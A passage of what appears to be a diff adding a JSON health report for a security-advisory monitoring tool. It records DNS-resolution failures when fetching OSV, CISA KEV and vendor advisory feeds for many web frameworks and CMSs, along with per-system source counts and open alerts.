Node.js", + "source_kind": "kev-json", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", + "summary": "nodejs::CISA KEV Node.js::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "nodejs", + "display_name": "Node.js", + "source_name": "Node.js Security Releases", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='nodejs.org', port=443): Max retries exceeded with url: /en/blog/vulnerability (Caused by NameResolutionError(\"HTTPSConnection(host='nodejs.org', port=443): Failed to resolve 'nodejs.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://nodejs.org/en/blog/vulnerability", + "summary": "nodejs::Node.js Security Releases::network::HTTPSConnectionPool(host='nodejs.org', port=443): Max retries exceeded with url: /en/blog/vulnerability (Caused by NameResolutionError(\"HTTPSConnection(host='nodejs.org', port=443): Failed to resolve 'nodejs.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "nuxt", + "display_name": "Nuxt", + "source_name": "OSV Nuxt", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "nuxt::OSV Nuxt::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "opencart", + "display_name": "OpenCart", + "source_name": "OSV OpenCart", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "opencart::OSV OpenCart::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "opencart", + "display_name": "OpenCart", + "source_name": "OpenCart Releases", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /opencart/opencart/releases (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/opencart/opencart/releases", + "summary": "opencart::OpenCart Releases::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /opencart/opencart/releases (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "openmage", + "display_name": "OpenMage / Mage-OS", + "source_name": "OSV OpenMage", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "openmage::OSV OpenMage::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "openmage", + "display_name": "OpenMage / Mage-OS", + "source_name": "OpenMage GitHub Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /OpenMage/magento-lts/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/OpenMage/magento-lts/security/advisories", + "summary": "openmage::OpenMage GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /OpenMage/magento-lts/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "phpmyadmin", + "display_name": "phpMyAdmin", + "source_name": "OSV phpMyAdmin", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "phpmyadmin::OSV phpMyAdmin::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "phpmyadmin", + "display_name": "phpMyAdmin", + "source_name": "phpMyAdmin Security Page", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.phpmyadmin.net', port=443): Max retries exceeded with url: /security/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.phpmyadmin.net', port=443): Failed to resolve 'www.phpmyadmin.net' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.phpmyadmin.net/security/", + "summary": "phpmyadmin::phpMyAdmin Security Page::network::HTTPSConnectionPool(host='www.phpmyadmin.net', port=443): Max retries exceeded with url: /security/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.phpmyadmin.net', port=443): Failed to resolve 'www.phpmyadmin.net' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "prestashop", + "display_name": "PrestaShop", + "source_name": "Friends Of Presta Security", + "source_kind": "html-links", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='security.friendsofpresta.org', port=443): Max retries exceeded with url: / (Caused by NameResolutionError(\"HTTPSConnection(host='security.friendsofpresta.org', port=443): Failed to resolve 'security.friendsofpresta.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://security.friendsofpresta.org/", + "summary": "prestashop::Friends Of Presta Security::network::HTTPSConnectionPool(host='security.friendsofpresta.org', port=443): Max retries exceeded with url: / (Caused by NameResolutionError(\"HTTPSConnection(host='security.friendsofpresta.org', port=443): Failed to resolve 'security.friendsofpresta.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "prestashop", + "display_name": "PrestaShop", + "source_name": "GitHub PrestaShop Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /PrestaShop/PrestaShop/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/PrestaShop/PrestaShop/security/advisories", + "summary": "prestashop::GitHub PrestaShop Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /PrestaShop/PrestaShop/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "prestashop", + "display_name": "PrestaShop", + "source_name": "OSV PrestaShop", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "prestashop::OSV PrestaShop::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "prestashop", + "display_name": "PrestaShop", + "source_name": "PrestaShop Security Page", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='build.prestashop-project.org', port=443): Max retries exceeded with url: /news/ (Caused by NameResolutionError(\"HTTPSConnection(host='build.prestashop-project.org', port=443): Failed to resolve 'build.prestashop-project.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://build.prestashop-project.org/news/", + "summary": "prestashop::PrestaShop Security Page::network::HTTPSConnectionPool(host='build.prestashop-project.org', port=443): Max retries exceeded with url: /news/ (Caused by NameResolutionError(\"HTTPSConnection(host='build.prestashop-project.org', port=443): Failed to resolve 'build.prestashop-project.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "rails", + "display_name": "Ruby on Rails", + "source_name": "OSV Rails", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "rails::OSV Rails::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "react", + "display_name": "React", + "source_name": "OSV React", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "react::OSV React::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "redmine", + "display_name": "Redmine", + "source_name": "OSV Redmine", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "redmine::OSV Redmine::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "redmine", + "display_name": "Redmine", + "source_name": "Redmine Security Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.redmine.org', port=443): Max retries exceeded with url: /projects/redmine/wiki/Security_Advisories (Caused by NameResolutionError(\"HTTPSConnection(host='www.redmine.org', port=443): Failed to resolve 'www.redmine.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.redmine.org/projects/redmine/wiki/Security_Advisories", + "summary": "redmine::Redmine Security Advisories::network::HTTPSConnectionPool(host='www.redmine.org', port=443): Max retries exceeded with url: /projects/redmine/wiki/Security_Advisories (Caused by NameResolutionError(\"HTTPSConnection(host='www.redmine.org', port=443): Failed to resolve 'www.redmine.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "saleor", + "display_name": "Saleor", + "source_name": "GitHub Saleor Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /saleor/saleor/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/saleor/saleor/security/advisories", + "summary": "saleor::GitHub Saleor Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /saleor/saleor/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "saleor", + "display_name": "Saleor", + "source_name": "OSV Saleor", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "saleor::OSV Saleor::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "shopware", + "display_name": "Shopware", + "source_name": "OSV Shopware", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "shopware::OSV Shopware::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "shopware", + "display_name": "Shopware", + "source_name": "Shopware Security Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /shopware/shopware/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/shopware/shopware/security/advisories", + "summary": "shopware::Shopware Security Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /shopware/shopware/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + ], + "slow_sources": [], + "systems": [ + { + "system_id": "adminer", + "display_name": "Adminer", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "adobe-commerce", + "display_name": "Adobe Commerce", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "angular", + "display_name": "Angular", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "apache-httpd", + "display_name": "Apache HTTP Server", + "active_source_total": 2, + "green_source_total": 0, + "failure_count": 2 + }, + { + "system_id": "apache-tomcat", + "display_name": "Apache Tomcat", + "active_source_total": 2, + "green_source_total": 0, + "failure_count": 2 + }, + { + "system_id": "aspnet-core", + "display_name": "ASP.NET Core", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "astro", + "display_name": "Astro", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "caddy", + "display_name": "Caddy", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "directus", + "display_name": "Directus", + "active_source_total": 2, + "green_source_total": 0, + "failure_count": 2 + }, + { + "system_id": "discourse", + "display_name": "Discourse", + "active_source_total": 3, + "green_source_total": 0, + "failure_count": 3 + }, + { + "system_id": "django", + "display_name": "Django", + "active_source_total": 3, + "green_source_total": 0, + "failure_count": 3 + }, + { + "system_id": "drupal", + "display_name": "Drupal", + "active_source_total": 2, + "green_source_total": 0, + "failure_count": 2 + }, + { + "system_id": "echo", + "display_name": "Echo", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "esbuild", + "display_name": "esbuild", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "express", + "display_name": "Express", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "fastify", + "display_name": "Fastify", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "flask", + "display_name": "Flask", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "ghost", + "display_name": "Ghost", + "active_source_total": 2, + "green_source_total": 0, + "failure_count": 2 + }, + { + "system_id": "gin", + "display_name": "Gin", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "gitea", + "display_name": "Gitea", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "gitlab-ce", + "display_name": "GitLab CE", + "active_source_total": 2, + "green_source_total": 0, + "failure_count": 2 + }, + { + "system_id": "grafana", + "display_name": "Grafana", + "active_source_total": 2, + "green_source_total": 0, + "failure_count": 2 + }, + { + "system_id": "hapi", + "display_name": "Hapi", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "haproxy", + "display_name": "HAProxy", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "jenkins", + "display_name": "Jenkins", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "joomla", + "display_name": "Joomla", + "active_source_total": 2, + "green_source_total": 0, + "failure_count": 2 + }, + { + "system_id": "kibana", + "display_name": "Kibana", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "koa", + "display_name": "Koa", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "laravel", + "display_name": "Laravel", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "magento-open-source", + "display_name": "Magento Open Source", + "active_source_total": 3, + "green_source_total": 0, + "failure_count": 3 + }, + { + "system_id": "mattermost", + "display_name": "Mattermost", + "active_source_total": 2, + "green_source_total": 0, + "failure_count": 2 + }, + { + "system_id": "mediawiki", + "display_name": "MediaWiki", + "active_source_total": 2, + "green_source_total": 0, + "failure_count": 2 + }, + { + "system_id": "medusa", + "display_name": "Medusa", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "moodle", + "display_name": "Moodle", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "nestjs", + "display_name": "NestJS", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "nextjs", + "display_name": "Next.js", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "nginx", + "display_name": "Nginx", + "active_source_total": 2, + "green_source_total": 0, + "failure_count": 2 + }, + { + "system_id": "nodejs", + "display_name": "Node.js", + "active_source_total": 2, + "green_source_total": 0, + "failure_count": 2 + }, + { + "system_id": "nuxt", + "display_name": "Nuxt", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "opencart", + "display_name": "OpenCart", + "active_source_total": 2, + "green_source_total": 0, + "failure_count": 2 + }, + { + "system_id": "openmage", + "display_name": "OpenMage / Mage-OS", + "active_source_total": 2, + "green_source_total": 0, + "failure_count": 2 + }, + { + "system_id": "phpmyadmin", + "display_name": "phpMyAdmin", + "active_source_total": 2, + "green_source_total": 0, + "failure_count": 2 + }, + { + "system_id": "prestashop", + "display_name": "PrestaShop", + "active_source_total": 4, + "green_source_total": 0, + "failure_count": 4 + }, + { + "system_id": "rails", + "display_name": "Ruby on Rails", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "react", + "display_name": "React", + "active_source_total": 1, + "green_source_total": 0, + "failure_count": 1 + }, + { + "system_id": "redmine", + "display_name": "Redmine", + "active_source_total": 2, + "green_source_total": 0, + "failure_count": 2 + }, + { + "system_id": "saleor", + "display_name": "Saleor", + "active_source_total": 2, + "green_source_total": 0, + "failure_count": 2 + }, + { + "system_id": "shopware", + "display_name": "Shopware", + "active_source_total": 2, + "green_source_total": 0, + "failure_count": 2 + }, + { + "system_id": "spring-boot", + "display_name": "Spring Boot", + "active_source_total": 2, + "green_source_total": 2, + "failure_count": 0 + }, + { + "system_id": "spring-framework", + "display_name": "Spring Framework", + "active_source_total": 2, + "green_source_total": 2, + "failure_count": 0 + }, + { + "system_id": "spring-security", + "display_name": "Spring Security", + "active_source_total": 2, + "green_source_total": 2, + "failure_count": 0 + }, + { + "system_id": "strapi", + "display_name": "Strapi", + "active_source_total": 2, + "green_source_total": 2, + "failure_count": 0 + }, + { + "system_id": "sveltekit", + "display_name": "SvelteKit", + "active_source_total": 1, + "green_source_total": 1, + "failure_count": 0 + }, + { + "system_id": "symfony", + "display_name": "Symfony", + "active_source_total": 1, + "green_source_total": 1, + "failure_count": 0 + }, + { + "system_id": "traefik", + "display_name": "Traefik", + "active_source_total": 1, + "green_source_total": 1, + "failure_count": 0 + }, + { + "system_id": "undici", + "display_name": "Undici", + "active_source_total": 1, + "green_source_total": 1, + "failure_count": 0 + }, + { + "system_id": "vite", + "display_name": "Vite", + "active_source_total": 1, + "green_source_total": 1, + "failure_count": 0 + }, + { + "system_id": "vue", + "display_name": "Vue", + "active_source_total": 1, + "green_source_total": 1, + "failure_count": 0 + }, + { + "system_id": "webpack", + "display_name": "webpack", + "active_source_total": 1, + "green_source_total": 1, + "failure_count": 0 + }, + { + "system_id": "werkzeug", + "display_name": "Werkzeug", + "active_source_total": 1, + "green_source_total": 1, + "failure_count": 0 + }, + { + "system_id": "woocommerce", + "display_name": "WooCommerce", + "active_source_total": 5, + "green_source_total": 5, + "failure_count": 0 + }, + { + "system_id": "wordpress", + "display_name": "WordPress", + "active_source_total": 5, + "green_source_total": 5, + "failure_count": 0 + } + ] + }, + "alerts": [ + { + "alert_id": "adminer::OSV Adminer", + "system_id": "adminer", + "display_name": "Adminer", + "source_name": "OSV Adminer", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "adminer", + "display_name": "Adminer", + "source_name": "OSV Adminer", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "adminer::OSV Adminer::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "adobe-commerce::Adobe Magento Security Index", + "system_id": "adobe-commerce", + "display_name": "Adobe Commerce", + "source_name": "Adobe Magento Security Index", + "source_kind": "vendor-index", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "adobe-commerce", + "display_name": "Adobe Commerce", + "source_name": "Adobe Magento Security Index", + "source_kind": "vendor-index", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='helpx.adobe.com', port=443): Max retries exceeded with url: /security/products/magento.html (Caused by NameResolutionError(\"HTTPSConnection(host='helpx.adobe.com', port=443): Failed to resolve 'helpx.adobe.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://helpx.adobe.com/security/products/magento.html", + "summary": "adobe-commerce::Adobe Magento Security Index::network::HTTPSConnectionPool(host='helpx.adobe.com', port=443): Max retries exceeded with url: /security/products/magento.html (Caused by NameResolutionError(\"HTTPSConnection(host='helpx.adobe.com', port=443): Failed to resolve 'helpx.adobe.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "angular::OSV Angular", + "system_id": "angular", + "display_name": "Angular", + "source_name": "OSV Angular", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "angular", + "display_name": "Angular", + "source_name": "OSV Angular", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "angular::OSV Angular::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "apache-httpd::Apache HTTPD Security", + "system_id": "apache-httpd", + "display_name": "Apache HTTP Server", + "source_name": "Apache HTTPD Security", + "source_kind": "html-links", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "apache-httpd", + "display_name": "Apache HTTP Server", + "source_name": "Apache HTTPD Security", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='httpd.apache.org', port=443): Max retries exceeded with url: /security/vulnerabilities_24.html (Caused by NameResolutionError(\"HTTPSConnection(host='httpd.apache.org', port=443): Failed to resolve 'httpd.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://httpd.apache.org/security/vulnerabilities_24.html", + "summary": "apache-httpd::Apache HTTPD Security::network::HTTPSConnectionPool(host='httpd.apache.org', port=443): Max retries exceeded with url: /security/vulnerabilities_24.html (Caused by NameResolutionError(\"HTTPSConnection(host='httpd.apache.org', port=443): Failed to resolve 'httpd.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "apache-httpd::CISA KEV Apache HTTPD", + "system_id": "apache-httpd", + "display_name": "Apache HTTP Server", + "source_name": "CISA KEV Apache HTTPD", + "source_kind": "kev-json", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "apache-httpd", + "display_name": "Apache HTTP Server", + "source_name": "CISA KEV Apache HTTPD", + "source_kind": "kev-json", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): 